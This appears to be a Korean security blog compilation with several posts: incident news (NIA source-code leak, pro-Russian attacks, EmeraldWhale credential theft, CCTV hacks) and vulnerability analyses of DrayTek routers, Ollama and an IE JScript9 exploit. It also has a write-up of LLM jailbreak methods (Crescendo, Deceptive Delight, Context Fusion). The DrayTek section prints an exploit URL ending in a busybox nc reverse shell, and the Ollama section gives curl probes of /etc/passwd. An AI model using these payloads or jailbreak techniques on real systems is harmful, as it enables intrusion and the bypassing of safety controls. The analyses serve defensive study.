요약 - 한국지능정보사회진흥원(이하 NIA)의 관리자 페이지 및 관리자 계정 노출
- NIA에서 관리하던 행정안전부, 외교부 등 주요 정부부처의 소스코드 파일이 유출
내용 - 한국지능정보사회진흥원
> 우리나라 AI 및 정보화 전문기관

- 정보보안 조직을 갖추고 있음에도 방화벽 설정 미흡
> 방화벽 포트가 열려 있었고, 이를 통해 외교부, 행안부 등의 소스코드 파일이 유출
> 집에서 사용하는 직원의 개인 PC가 악성코드에 감염된 것이 확인

- 외부에 노출된 NIA의 웹페이지는 총 9개
> 문제가 된 것은 프로덕트 관리자 페이지
> 해당 페이지의 계정정보가 산출물 시스템과 연결돼 외교부, 행안부 등 주요 정부부처의 소스코드 파일이 유출
> 정부부처의 정보화 및 IT 관련 사업을 맡고 있어 유출된 소스코드 파일과 규모를 파악하는 것이 시급

- 현재 유출 사고의 원인을 확인하고, 현재 보호조치에 대한 보완이 필요하며, 유출된 소프트웨어 소스코드나 소프트웨어 관련 정보가 공격자에 의해 악용되지 않도록 하는 추가 조치가 필요
기타 - 누구나 접근할 수 있도록 방화벽 포트를 열어놨느냐는 것이 심각한 문제

- NIST, 안전한 소프트웨어 개발 프레임워크
> 4가지 안전한 수명주기 전반의 지침을 제공
① 소프트웨어 개발 보안 조직 준비
② 소프트웨어 보호
③ 안전한 소프트웨어 제작
④ 소프트웨어의 잠재적 취약성 대응
> 개발된 소프트웨어가 변경 또는 무단으로 접근되는 것을 방지하기 위해 기술적·관리적·물리적 보호 조치를 통해 보호되도록 요구

 

보안뉴스

 

[단독] 한국지능정보사회진흥원, 관리자계정 유출로 외교부·행안부 등 소스코드 파일 털렸다!

한국지능정보사회진흥원(이하 NIA)의 관리자 페이지와 비밀번호 등 계정정보가 외부에 노출되면서 NIA에서 관리하던 행정안전부, 외교부 등 주요 정부부처의 소스코드 파일이 유출돼 파장이 커

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1. DrayTek

- 대만 네트워크 장비 제조 업체

- VPN, 방화벽, 라우터, 콘텐츠 필터링, VoIP 및 대역폭 관리 기능 등을 제공

 

2. 주요내용

2.1 CVE-2024-41592

[사진 1] CVE-2024-41592 [2]

- 취약한 버전의 DrayTek에서 발생하는 스택 기반 오버플로우 (CVSS: 10.0)

> 악용에 성공할 경우 서비스 거부 또는 CVE-2024-41585와 연계해 임의의 명령 실행 가능

※ CVE-2024-41585와 연계는 Vigor 3910와 Vigor 3912에만 영향

 

- 웹 UI의 40개가 넘는 CGI 페이지에 매우 긴 쿼리 문자열을 보냄으로써 트리거될 수 있음

> 쿼리 문자열 매개변수 구분을 위해 다수의 "&" 문자 사용

 

[사진 2] 취약한 코드

- var_query_str은 원시 쿼리 문자열이며, 처리된 쿼리 문자열은 a2에 저장

> while 루프 내에서 makeword()는 "&" 문자가 있는 경우 다음 쿼리 문자열 매개변수를 키-값 쌍으로 추출 및 저장

> 그러나, 해당 코드는 고정된 길이로 스택에 할당된 버퍼 a2에 저장할 수 있는 키-값 쌍의 개수에 대한 검사가 없음

> 따라서, 쿼리 문자열에 다수의 "&" 문자를 삽입하면 a2의 경계를 넘어 스택에 직접 쓸 수 있음

 

2.2 CVE-2024-41585

[사진 3] CVE-2024-41585 [3]

- 취약한 버전의 DrayTek에서 발생하는 임의 명령 실행 취약점 (CVSS: 9.1)

> 공격자가 애뮬레이션된 인스턴스에서 탈출하여 호스트 머신에 임의의 명령을 삽입할 수 있음

 

- 분석 장비를 포함한 일부 DrayTek 장치는 DrayOS가 에뮬레이션됨

> 호스트OS는 사용자가 직접 액세스할 수 없으나 게스트OS는 호스트OS와 통신할 수 있음

> 해당 통신에 "recvCmd" 바이너리를 사용하며 /etc/runcommand에 저장된 명령만 사용 가능

> 그러나, recvCmd가 전송한 명령이 /etc/runcommand에 저장된 목록의 문자열로 시작하는지 여부만 검사하여 

[사진 4] 게스트에서 호스트로 전송 가능한 명령 목록

2.3 공격 체인

- 공격자는 두 가지 취약점을 악용해 호스트OS에 임의의 명령을 삽입할 수 있음

다수의 "&" 문자와 포함하는 쿼리 문자열

recvCmd 바이너리를 통해 악성 명령 삽입

※ recvCmd 바이너리는 글자 수가 63글자로 제한되므로, 더 긴 명령은 순차적으로 보내거나 스크립트에 작성한 후 실행

[역방향 셸 연결 명령]
- hxxp://[Target IP]/cgi-bin/[vulnerable-cgi-page].cgi?&&&&....&&&&[shellcode]set_linux_time ;ifconfig br-wan3 192.169.42.42;
- hxxp://[Target IP]/cgi-bin/[vulnerable-cgi-page].cgi?&&&&....&&&&[shellcode] set_linux_time ;busybox nc 192.168.42.1 1234 -e sh;

[디코딩]
- hxxp://[Target IP]/cgi-bin/[vulnerable-cgi-page].cgi?&&&&....&&&&[shellcode]set_linux_time ;ifconfig br-wan3 192.169.42.42;
- hxxtp://[Target IP]/cgi-bin/[vulnerable-cgi-page].cgi?&&&&....&&&&[shellcode] set_linux_time ;busybox nc 192.168.42.1 1234 -e sh;

 

3. 대응방안

- 벤더사 제공 보안 업데이트 적용

> 두 가지 취약점을 포함한 총 11개의 취약점에 대한 패치 제공

[사진 5] 패치 버전

4. 참고

[1] https://www.forescout.com/blog/research-alert-draytek-exposed-vulnerable-routers/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-41592
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-41585
[4] https://www.boannews.com/media/view.asp?idx=134192&page=1&kind=1

1. Ollama [1]

- 개인 또는 기업이 별도의 하드웨어나 서비스 구비 없이 로컬에서 LLM을 구동할 수 있게 해 주는 오픈소스 애플리케이션

 

2. 주요내용

- 인터넷에 노출된 Ollama 프레임워크에서 6개의 보안 취약점이 발견 [2]
> 익스플로잇에 성공할 경우 DDoS, 인공지능 모델 감염, 인공지능 모델 탈취가 가능

> 4개의 취약점에 대한 보안 업데이트 발표

2개의 취약점은 Ollama 유지보수 팀이 취약점으로 인정하지 않아 CVE 번호가 할당되지 않음

※ CVE가 할당되지 않은 2개의 취약점은 패치 또한 제공되지 않음 : 엔드포인트를 노출시키지 않는것이 기본이며, 이 기본이 지켜지지 않는다는 가정 하에 연구된 취약점이므로 취약점으로 볼 수 없다는 입장

 

2.1 CVE-2024-39720

[사진 1] CVE-2024-39720 [3]

- 취약한 버전 Ollama에서 발생하는 서비스 거부 취약점

> 두 개의 HTTP 요청을 사용해 세그먼테이션 오류(SIGSEGV)를 발생시켜 서비스 거부를 유도

영향받는 버전: Ollama <= 0.1.45

 

- 공격자는 잘못된 형식의 GGUF 파일을 전송하여 서버나 애플리케이션이 이를 처리하는 과정에 예상치 못한 동작을 유도

GGUF [4] - Georgi Gerganov Unified Format
- 오픈 소스 파일 형식으로, AI 모델 파일과 관련 데이터를 효율적으로 저장 및 교환하기 위해 개발된 파일 형식
① 범용성
> 기존의 모델 저장 방식들은 특정 프레임워크나 라이브러리에 종속
> 다른 환경 또는 플랫폼에서 사용하려면 별도의 변환 작업이 필요함
> 다양한 유형의 모델 파일과 메타데이터를 한 곳에 통합할 수 있어 변환 없이 여러 플랫폼에서 사용할 수 있음
② 경량 데이터 저장
> 데이터를 압축 및 최적화하여 모델 파일 크기를 최소화하고, 메모리 사용량을 줄임
> 로컬 환경 처럼 메모리 제한이 있는 장치에서 AI 모델을 실행할 때 성능 및 효율성을 높임
③ 확장성
> 파일 내 모델의 가중치(Weight) 텐서 값들과 메타데이터(모델의 구조, 버전, 텐서 개수 등)가 Key-Value 형식으로 저장
> 새 메타데이터나 추가 정보를 쉽게 저장할 수 있어 확장성을 높임
④ 다양한 양자화 지원
> 양자화란 모델의 가중치를 더 낮은 비트 정밀도로 변환하는 기술로, 16-bit 부동 소수점, 8-bit, 6-bit, 5-bit, 4-bit, 3-bit, 2-bit 지원
> 모델을 더 작게 만들어 추론 속도를 높이고, 메모리 사용을 줄임

 

- GGUF 파일은 0x47 0x47 0x55 0x46(GGUF)로 시작하는 헤더그 뒤 파일의 구조에 맞는 추가 데이터를 포함

> 공격자는 4Byte(헤더) 데이터만 가지는 GGUF 파일을 생성해 서버에 업로드

[사진 2] GGUF 파일 구조 [4]

- 공격자는 잘못된 GGUF 파일 업로드를 위해 두 개의 HTTP 요청을 사용

> 먼저, 잘못된 GGUF 파일 업로드를 위한 첫 번째 HTTP 요청 전송

> /api/create URL잘못된 GGUF 파일을 참조하도록 Modelfile 내 FROM 명령문을 사용한 두 번째 HTTP 요청 전송

Modelfile [5] - 모델의 설정과 명령을 정의한 파일
> 사용할 모델, 템플릿 형태, 파라미터 등을 지정해 모델을 지정할 수 있는 파일
① FROM(필수) : 사용할 기본 모델 정의
② PARAMETER : Ollama가 모델을 실행하는 방법에 대한 매개변수를 설정
③ TEMPLATE : 모델에 전송할 전체 프롬프트 템플릿
④ SYSTEM : 템플릿에 설정될 시스템 메시지를 지정
⑤ ADAPTER : 모델에 적용할 (Q)LoRA 어댑터를 정의
⑥ LICENSE : 법적 라이센스를 지정
⑦ MESSAGE : 메시지 기록을 지정

 

- CreateModel은 업로드된 파일을 기반으로 새로운 모델을 생성하거나 로드하는 기능

> 이 과정에서 GGUF 파일과 Modelfile을 로드 및 검증 없이 실행을 시도하여 얘기지 못한 메모리 참조가 발생

> 메모리 접근 위반으로 세그멘테이션 오류(Segmentation Fault)가 발생, 시스템은 SIGSEGV 신호 수신 및 프로세스 중단

 

2.2 CVE-2024-39722

[사진 3] CVE-2024-39722 [6]

- 취약한 버전 Ollama에서 발생하는 파일 존재 여부 공개 취약점

> /api/push 엔드포인트존재하지 않는 경로 매개변수를 통해 호출할 때 발생

이스케이프된 URI를 공격자에게 응답으로 반환
> 이로 인해 서버에 존재하는 파일 및 디렉터리 정보가 노출되어, 공격자가 추가로 시스템을 탐색 또는 악용할 수 있음

영향받는 버전: Ollama <= 0.1.45

 

[사진 4] Exploit 예시 및 서버 응답

2.3 CVE-2024-39719

[사진 5] CVE-2024-39719 [7]

- 취약한 버전 Ollama에서 발생하는 파일 존재 여부 공개 취약점

영향받는 버전: Ollama 0.3.14

 

- /api/create 엔드포인트를 존재하지 않는 경로 매개변수를 통해 호출하여 응답(오류)을 통해 존재 유무 확인

[사진 5] Exploit 예시

구분 설명
파일이 존재하지 않는 경우 요청 : ~/ curl "hxxp://localhost:11434/api/create" -d '{"name": "file-leak-existence","path": "/tmp/non-existing"}'
응답 : {"error":"error reading modelfile: open /tmp/non-existing: no such file or directory"}%
파일이 존재하는 경우 요청 : ~/ curl hxxp://localhost:11434/api/create -d '{"name": "file-leak-existence","path": "/etc/passwd"}'
응답 : {"error":"command must be one of \"from\", \"license\", \"template\", \"system\", \"adapter\", \"parameter\", or \"message\""}%
파일 경로 대신 디렉터리 사용 요청 : ~/ curl hxxp://localhost:11434/api/create -d '{"name": "file-leak-existence","path": "/etc"}'
응답 : {"error":"read /etc: is a directory"}%

 

2.4 CVE-2024-39721

[사진 6] CVE-2024-39721 [8]

- 취약한 버전 Ollama에서 발생하는 서비스 거부 취약점

영향받는 버전: Ollama <= 0.1.33

 

- CreateModelHandler 함수는 os.Open을 사용하여 완료될 때까지 파일을 읽음

> req.Path 사용자 지정 매개변수를 사용하며, /dev/random으로 설정할 수 있음

> 매개변수 값이 /dev/random일 경우 난수를 생성할 엔트로피를 모을 때까지 차단이 발생

> 해당 파일을 열고 읽기 시도한 고루틴은 엔트로피가 충분히 쌓이기를 기다리면서 계속 차단

> 클라이언트가 요청을 취소해도 고루틴은 멈추지 않고 무한히 실행

[사진 7] 예제 Payload 및 PoC

2.5 모델 중독 (CWE-668)

- 기본 설정을 사용하는 Ollama 서버의 경우 /api/pull 경로에 대한 인증 절차가 없음

> 즉, 누구나 인증 없이 해당 API를 호출 가능한 상태

> 공격자는 클라이언트가 자신이 제어하는 서버에서 악의적인 모델을 다운로드하도록 유도할 수 있음

> 해당 API를 지속적으로 호출하여 디스크가 가득 찰 때까지 모델을 다운로드하게 되어 서비스 거부로 이어질 수 있음

[사진 8] 예제 Payload

2.6 모델 도용 (CWE-285)

- 기본 설정을 사용하는 Ollama 서버의 경우 /api/push 경로에 대한 인증 절차가 없음

> 공격자는 서버에 저장된 모든 모델을 제3의 서버로 업로드하거나 탈취할 수 있음

3. 참고

[1] https://ollama.com/
[2] https://www.oligo.security/blog/more-models-more-probllms
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-39720
[4] https://github.com/ggerganov/ggml/blob/master/docs/gguf.md
[5] https://github.com/ollama/ollama/blob/main/docs/modelfile.md
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-39722
[7] https://nvd.nist.gov/vuln/detail/CVE-2024-39719
[8] https://nvd.nist.gov/vuln/detail/CVE-2024-39721
[9] https://thehackernews.com/2024/11/critical-flaws-in-ollama-ai-framework.html
[10] https://www.boannews.com/media/view.asp?idx=134063&page=2&kind=1
[11] https://www.boannews.com/media/view.asp?idx=134082&page=1&kind=1

요약 - 친러 해킹그룹, 한국 기관 대상 DDoS 공격 및 데이터 유출 시도
- 외부 접속 단속하고, 계정·백업·이메일 등 철저한 관리 권고
내용 - 친러시아 해커 그룹, 한국 금융권 및 공공기관을 겨냥한 DDoS 공격과 데이터 유출 시도
> 한국이 우크라이나를 지원했다는 빌미

- 사이버 위협정보 분석·공유 시스템 ‘C-TAS(Cyber Threat Analysis & Sharing)’ 보안 공지 3건 발표
> 기관과 기업의 적극 협조 요청
① 외부 접속 관리 강화
> 기업 자산 중 외부에 오픈된 DB 서비스, NAS 등 시스템 현황을 파악
> 테스트 서버 등 불필요한 시스템 연결을 차단
> 중요 시스템 접속자의 경우 개인 단말에 임의로 원격제어 프로그램이 설치됐는지 확인
> 불필요한 네트워크 서비스를 중지 및 1433, 3389 등 기본 서비스 포트 사용 지양
> 부득이하게 외부에서 접속해야 하는 경우 접속 IP 및 단말기기 제한, 다중인증 설정이나 내부차단을 위한 서버별 접근제어 설정·확인
> 해외 및 야간이나 주말 접속 IP와 비정상 접속 여부, 일반적이지 않은 네트워크 통신량에 대한 주기적인 로그 확인 필요

② 계정 관리 강화
> 기본 관리자 패스워드를 사용하고 있다면 반드시 변경
> 사용하지 않는 기본 관리자 계정은 비활성화 및 권한 제외
> 정기적 비밀번호 변경과 2차 인증수단을 적용

③ 백업 관리 강화
> 중요 자료는 네트워크와 분리된 별도의 저장소에 정기적으로 백업
> 외부 클라우드 등에 자료 보관과 소유 기반의 이중인증 적용 권고
> 클라우드 자체에 대한 랜섬웨어 감염을 대비해 클라우드에 보관된 자료의 정기적 백업

④ 이메일 보안 강화
> 이메일 송신자 및 메일 주소 확인
> 불분명한 메일 및 첨부파일, URL 클릭을 지양
> 첨부파일의 경우 확장자 확인
> 바로가기 파일이나 실행 파일 클릭 지양
> 파일 탐색기 > 보기 > '파일 확장명’ 체크 상태 확인
> 파일 탐색기 > 보기 > 옵션 > 폴더 및 검색 옵션 변경 > 보기 > 알려진 파일 형식의 파일 확장명 숨기기 체크 해제 상태 확인
> 이메일 보안 솔루션을 사용해 유해성 유무 확인 및 악성 이메일을 차단

⑤ 기타
> 홈페이지와 주요 시스템에 대한 모니터링 강화
> 자동 업데이트를 통해 운영체제 및 SW를 최신 상태 유지
> 바이러스 백신 프로그램을 설치 및 최신 상태 유지
> 랜섬웨어 감염에 대비한 복구 계획 수립 및 모의훈련 수행 요구
기타 - 침해사고를 당했을 경우
> 한국인터넷진흥원인터넷침해대응센터 종합상황실(02-405-4911~5)
> KISA 인터넷보호나라&KrCERT 홈페이지를 통해 신고

 

보안뉴스

 

친러 해킹그룹, 우크라이나 지원 빌미로 한국 공격... 랜섬웨어·디도스 주의 권고

러시아-우크라이나(이하 러-우) 전쟁에 북한군이 불법 파병되는 등 국제정세 불안정에 따라 우리나라에 대한 사이버 위협이 증가하고 있다. 한국이 우크라이나를 지원했다는 빌미로 친러시아

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KISA 보호나라&KrCERT/CC

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KISA 보호나라&KrCERT/CC

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요약 - ’EmeraldWhale(에메랄드웨일)’, 노출된 Git 설정 파일 스캔해 클라우드 계정 인증 정보 탈취
- IP 범위를 자동화된 툴로 스캔해 .git/config나 .env 등 민감한 정보를 포함할 가능성이 있는 설정 파일 탐색
내용 - ’EmeraldWhale(에메랄드웨일)’
> 깃허브(GitHub), 깃랩(GitLab), 비트버킷(BitBucket) 등 주요 코드 저장소 타깃으로 해당 파일에서 API 키나 인증 토큰을 확보
> 이를 통해 추가로 저장소에 접근해 클라우드 서비스 및 이메일 서비스 인증 정보를 더 많이 확보하는 방식으로 진행
> 탈취된 인증 정보는 아마존 S3 버킷에 보관한 후 피싱, 스팸 캠페인에 사용되거나 사이버 범죄자들에게 직접 판매

- httpx와 Masscan 같은 오픈소스 도구를 사용
> 전 세계의 IP 주소 리스트를 42억 개에 이르는 파일로 준비해 약 5억 개의 IP 주소를 스캔
> 유효한 토큰을 찾으면 curl 명령어를 사용해 클라우드 API에 검증
> 접근이 가능할 경우 해당 저장소를 다운로드해 클라우드 서비스와 이메일 플랫폼의 인증 정보를 추출
> 이메일 서비스의 인증 정보는 대규모 스팸 및 피싱 공격에 활용
기타 -

 

보안뉴스

 

“해커, 노출된 Git 설정 파일 통해 클라우드 계정 15,000개 탈취” - 데일리시큐

대규모 사이버 공격 ’EmeraldWhale(에메랄드웨일)’이 노출된 Git 설정 파일을 스캔해 약 15,000개의 클라우드 계정 인증 정보를 탈취했다. 이 캠페인은 클라우드 보안 기업 시스디그(Sysdig)에 의해 밝

www.dailysecu.com

 

Massive Git Config Breach Exposes 15,000 Credentials; 10,000 Private Repos Cloned

EMERALDWHALE campaign exploits Git configurations, compromising 10,000+ repos and 15,000 credentials for phishing.

thehackernews.com

 

요약 - 친러 성향 해커 서버 킬러스, 텔레그램을 통해 국내 CCTV 해킹 주장
- CCTV IP와 비밀번호 일부 모자이크 공개 및 30달러 요구
내용 - 09.23 서버 킬러스(SERVER KILLERS), 텔레그램에 국내 CCTV 해킹 주장
> 서울, 인천, 대전, 수원 지역 CCTV 100대 해킹 주장
> PC방, 사무실, 길거리, 계단, 주차장 등 공용 공간 영상
> 09.22~09.23 경 촬영된 영상

- 모자이크 처리된 CCTV IP와 비밀번호 공개 및 30달러 요구
> 샘플로 공개한 자료에 CCTV IP와 평문 접속정보가 포함
> 보안이 취약한 ID/PW를 사용하는 CCTV를 찾아 접속한 것으로 추정
> 가급적 인터넷 연결 차단, ID/PW 강화, 보안 패치 적용 등 필요
기타 - 국내 다수의 CCTV가 여전히 해킹 위험에 노출
> CCTV 침해 사건 대부분의 경우 초기 패스워드 사용 및 누구나 접근 가능한 설정이 원인
> CCTV 해킹 방지 방안은 다각도로 고려돼야 할 필요
> 비밀번호 변경, 접근 제어, 암호화 전송 등 조치 필요

 

보안뉴스

 

친러 성향 해커 ‘서버 킬러스’, 서울·인천 등 국내 CCTV 100대 이상 해킹 주장

서울 등 국내 주요 지역 CCTV를 해킹했다고 주장한 해커가 자신이 운영하는 텔레그램에 CCTV 화면을 공개한 정황이 포착됐다. 지난 28일 보안뉴스에 제보한 한 제보자는 “해커가 국내 CCTV를 해킹

www.boannews.com

 

1. Crescendo [1]

[사진 1] Crescendo

대상 모델의 출력을 활용하여 모델이 안전 장치를 우회하도록 유도하여 탈옥하는 멀티-턴 공격
> 목표 달성을 위한 기초가 될 수 있는 질문으로 공격 시작
관련된 무해한 주제로 시작하여 점진적으로 질문을 강화하여 모델의 응답을 의도한 결과로 유도
> 따라서 사용자의 프롬프트에 반응하도록 설계된 방어 및 안전 조치를 우회

 

- 모델의 내부 작동 방식을 파악할 필요가 없음
> 사용자가 LLM과 상호작용하는 데 필요한 수준의 지식만 필요

 

- 탈옥의 성공 여부를 세 가지 지표(자체 평가, Perspective API, Azure Content Filter)를 통해 평가
> 자체 평가 : 자동화된 평가(1차 및 2차 Judge LLM 평가) 후 가장 높은 성과를 보인 응답에 대해 수동 검토
> Perspective API : 6가지 지표(Toxicity, Severe Toxicity, Insult, Profanity, Sexually Explicit, Threat)를 평가
> Azure Content Filter : 4 가지 지표(Hate Speech, Self-Harm, Sexually Explicit Content, Violence)를 평가

※ Perspective API : 텍스트 내 잠재적인 유해 콘텐츠를 분석하여 여러 지표를 점수로 평가하는 도구 [2]
※ Azure Content Filter : Azure AI 서비스의 일부로, 텍스트 및 이미지 콘텐츠를 분석하여 유해하거나 부적절한 내용을 탐지하고 필터링하는 기능을 제공 [3]

 

- LLM 학습 단계에서 학습 데이터의 사전 필터링과 LLM의 정렬을 강화 필요
> 전자는 악성 콘텐츠 생성 및 탈옥의 가능성이 낮아지나 비용적 문제 존재
> 후자는 해당 공격을 유발하는 콘텐츠로 LLM을 미세 조정하는 방법
> 또는, 입출력 모두에 콘탠츠 필터 적용

 

2. Deceptive Delight [4]

[사진 2] Deceptive Delight

LLM을 대화에 참여시켜 가이드라인을 우회하고 안전하지 않거나 유해한 콘텐츠를 생성하도록 유도하는 멀티-턴 공격
> 64.6%의 공격 성공률을 보이며, 세 번의 대화 턴 내 유해한 콘텐츠를 생성할 수 있음
> 첫 번째 턴 : 3개의 주제(정상 주제 2개+안전하지 않은 주제 1개)를 연결하는 일관된 서사를 만들도록 요구
> 두 번째 턴 : 각 주제에 대해 더 자세히 설명하도록 요청 (정상 주제를 논의하는 동안 안전하지 않은 콘테츠를 생성할 수 있음)
> 세 번째 턴(선택 사항) : 안전하지 않은 주제에 대한 디테일 등 확장을 요청 (안전하지 않은 콘테츠의 구체성이 증가 됨)

 

- 양성(정상) 주제 사이에 안전하지 않거나 제한된 주제를 포함하여 LLM이 안전하지 않은 콘텐츠가 포함된 응답을 생성하도록 유도
> 콘텐츠 필터는 외부 방어 계층 역할을 하여 안전하지 않은 콘텐츠가 모델에 들어오거나 나가는 것을 차단
> 자연어 처리 기술을 사용해 텍스트를 분석하며 유해하거나 부적절한 콘텐츠를 감지하는데 초점
> 그러나, 속도와 효율성을 우선시해야 하므로 상대적으로 덜 정교함
> 연구는 이러한 모델 자체의 안전 메커니즘을 우회하는 데 중점을 둠

 

LLM이 긴 대화에서 맥락을 유지하는데 어려움을 겪는 점을 악용
> 무해한 콘텐츠와 잠재적으로 위험한(또는 해로운) 콘텐츠를 섞인 프롬프트를 처리할 때 맥락을 일관되게 평가하는 데 한계를 보임
> 복잡하거나 긴 문장에서 모델은 양성적인 측멱을 우선시하여, 위험 요소를 간과하거나, 잘못 해석할 수 있음

 

- 세 가지(성공률, 유해성, 생성된 콘텐츠의 품질) 평가 지표로 6가지 카테고리에 걸쳐 40개의 안전하지 않은 주제를 8개의 모델 평가
> 6가지 카테고리: Hate(증오), Harassment(괴롭힘), Self-harm(자해), Sexual(성적인), Violence(폭력), Dangerous(위험)
※ 두 번째 턴에서 세 번째 턴 사이에 유해성 점수 21%, 생성된 콘텐츠의 품질 점수 33% 증가

 

모델의 유용성과 유연성을 유지하며 탈옥 위험을 완화하기 위한 다층 방어 전략 필요
> 정렬 훈련 기술 강화
> 더 많은 방어 매커니즘 탐색
> 탈옥 취약점을 평가 및 해결하기 위한 포괄적 프레임워크 개발
> 연구자-개발자-AI 서비스 제공 업체 간 협력 환경 조성 : 모델의 회복력을 지속적으로 개선하는 데 필수적

 

3. Context Fusion Attack (CFA) [5]

[사진 3] Context Fusion Attack (CFA)

악의적인 키워드를 무해한 키워드로 교체하여 악성 의도를 숨기는 방식으로 LLM의 안전 장치를 우회
> 공격 단계 : 키워드 추출-컨텍스트 생성-공격
> 키워드 추출 : 전처리 단계에서 악성 키워드 필터링 및 추출
> 컨텍스트 생성 : 악의적인 키워드를 무해한 키워드로 대체하여 새로운 문장 생성
> 공격 : 새롭게 생성된 콘텍스트를 이용해 LLM의 안전 장치 우회

4. 참고

[1] https://crescendo-the-multiturn-jailbreak.github.io//
[2] https://medium.com/@losad2020/%EA%B5%AC%EA%B8%80-i-o-%EC%B1%85%EC%9E%84%EA%B0%90%EC%9E%88%EB%8A%94-%EC%9D%B8%EA%B3%B5%EC%A7%80%EB%8A%A5-%EC%8B%A4%EB%AC%B4-%EC%A0%81%EC%9A%A9-%EB%B0%A9%EB%B2%95-73e170d30289
[3] https://learn.microsoft.com/ko-kr/azure/ai-services/openai/concepts/content-filter?tabs=warning%2Cuser-prompt%2Cpython-new#content-filter-types
[4] https://unit42.paloaltonetworks.com/jailbreak-llms-through-camouflage-distraction/
[5] https://arxiv.org/abs/2408.04686

1. 개요

- 24.05 무료 S/W의 팝업(Toast) 광고 프로그램을 악용한 TA- RedAnt의 대규모 공격이 탐지 [1]
- IE의 자바스크립트 엔진(jscript9.dll)에 존재하는 제로데이 취약점 악용
- 22년 악용한 IE의 Type Confusion 취약점(CVE-2022-41128)에 간단한 코드를 추가하여 보안 패치를 우회

 

1.1 Chakra

- MS에서 제작한 웹 브라우저의 자바스크립트 엔진
> 웹 브라우저는 HTML, CSS, JavaScript 등의 언어로 작성코드를 사람이 읽을 수 있는 문서로 출력하는 프로그램
> 웹 브라우저에서 자바스크립트 코드를 해석하고 실행하는 역할을 수행

구분 이름
IE 11.0 이하 버전 legacy Chakra engine(jscript9.dll)
Edge Legacy 브라우저 new Chakra engine or Edge engine(Chakra.dll)

1.1.1 동작 과정

- 웹 브라우저에서는 JavaScript의 동작을 위해 자체 엔진을 포함하고 있으며, 빠른 실행을 위해 JIT(Just-In-Time) Compilation 방식을 사용
- MS Chakra에서 JavaScript로 작성된 코드가 실행되는 과정

구분 설명
Parsing 소스코드를 파싱하여 Abstract Syntax Tree(AST)를 생성
※ Abstract Syntax Tree(AST) : 소스코드의 구조를 트리 형태로 나타낸 자료구조
Interpreting - AST는 바이트코드(Bytecode)로 변환되어 인터프리터에 의해 실행
- 실행 중인 함수의 데이터 유형 및 호출 횟수와 같은 정보를 분석해 함수의 프로파일을 생성
Compilation - 생성된 프로파일을 바탕으로 최적화된 기계코드인 JIT’ed code 생성
※ 인터프리터에서 여러 번 호출되는 코드가 탐지되면 바이트코드를 실행하는 대신 JIT’ed code를 실행해 프로그램 동작 속도를 향상 시킴

 

- JavaScript엔진에서는 여러 번 호출되는 코드를 따로 관리

구분 설명
Hot - 자주 반복되는 코드
- 코드가 Hot으로 탐지되면 엔진은 해당 코드를 스텁코드(Stub Code)로 변환
- 이후 바이트코드를 실행하지 않고 미리 생성한 스텁코드를 사용하여 실행 속도를 향상
Warm 덜 자주 반복되는 코드

 

1.2 Toast 광고

- 다양한 무료 S/W와 함께 설치되어 동작
> 실행 시 광고서버로부터 광고 컨텐츠를 다운받아 PC 화면 우측 하단에 광고창 표시
> 서버는 광고 컨텐츠가 포함된 HTML과 JavaScript로 응답
> Toast 광고 프로그램은 응답값을 IE 브라우저 또는 IE 관련 모듈로 랜더링하여 팝업 광고창을 띄움

2. 주요내용

2.1 CVE-2024-38178

[사진 1] CVE-2024-38178 [2]

- Windows Scripting Engine에서 발생하는 Type Confusion 취약점으로 메모리 손상을 유발해 원격 명령 실행을 가능하게 함
> jscript9.dll에서 발생하는 Type Confusion 취약점

※ Type Confusion 취약점 : 프로그램에서 사용하는 변수나 객체를 선언 혹은 초기화되었을 때와 다른 타입으로 사용할 때 발생하는 취약점

스텁코드는 Type Confusion 문제가 발생할 수 있음
- 매개변수로 정수형 변수를 입력받는 함수가 있으며, 메인에서 100번 호출된다고 가정
> 엔진에서는 Hot으로 간주하여 정수형 변수를 전달받는 스텁코드로 변환
> 그 결과, 해당 변수의 데이터 유형을 정수로 예측
> 이 때, 매개변수를 정수가 아닌 다른 데이터 유형으로 전달할 경우 Type Confusion 발생

 

2.2 상세분석

[사진 2] iframe이 삽입된 HTML

- 해커는 국내 광고 대행사 중 한 업체의 광고 서버를 해킹
Toast 광고 프로그램에 전달되는 HTML 코드에 iframe을 삽입하여 경유지를 통해 JavaScript가 로드 되도록 변조
> 해당 JavaScript 파일명은 ad_toast이며 IE(JScript9.dll)의 RCE 취약점이 발현되는 코드가 삽입
> 피해자 PC에 설치된 Toast 광고 프로그램은 취약점 코드를 받아 랜더링하는 과정에서 Exploit 및 해커의 쉘 코드로 실행 흐름이 바뀜

 

[사진 3] CVE-2024-38178 Exploit

- 해커는 과거 악용했던 CVE-2022-41128(Windows 스크립트 언어 RCE [4]) Exploit 코드에 단 3줄을 추가해 기존 패치 우회

ex_func(false, false)를 반복 호출하여 JIT 컴파일러의 최적화 오류를 유도한 뒤 인자를 true로 바꿔 호출

 

- "q=g" 연산으로 Type Confusion 발생 

> 정수 배열로 초기화된 변수 q에 변수 g가 가리키는 데이터를 참조하면 변수 q의 Type이 Object로 변경
> 하지만, JIT 컴파일러의 최적화 오류로 인해 Type을 계속해서 정수 배열로 판단

 

이후 q[4], q[11], q[12]의 값을 0x1FFFFFFF로 변경

> 변경하는 이유는 해당 값이 배열 av의 Type(Js::JavascriptNativeIntArray)과 관련
> 변경한 값은 순서대로 배열 av의 Array Length, Array Actual Length, Buffer Length 항목
> 배열의 길이를 조작하면 Object Dataview를 사용하여 임의의 메모리 영역에 대한 읽기 및 쓰기가 가능하게 되어 임의 코드를 실행할 수 있음

※ JIT 컴파일러의 배열 최적화 과정에서 초기화된 변수로 착각하게 만드는 방법을 이용해 CVE-2022-41128의 패치를 우회

 

[사진 4] 패치

- 해당 취약점은 MS 8월 보안업데이트에서 패치 [4]

> wil::details::FeatureImpl<_ _WilFeatureTraits_Feature_1489045819>::_ _private_ IsEnabled(&`wil::Feature<_ _WilFeatureTraits_Feature_1489045819>::GetImpl’::`2 ’::impl); 함수가 추가
> 해당 함수의 결과 값에 따라 변수 초기화 여부를 검증하는 분기로 진입
> 진입 후 ValueType 클래스에서 정의된 연산자를 통해 두 개의 정수형 값 비교 과정 추가
> 두 Type을 비교해 값이 다를 경우 SetValueType 함수를 호출하여 Type을 일치시키는 추가적인 과정이 수행

 

2.3 악성코드 유포

- 과거부터 꾸준히 사용해온 RokRAT 악성코드를 유포하며 공격 흐름은 아래와 같음
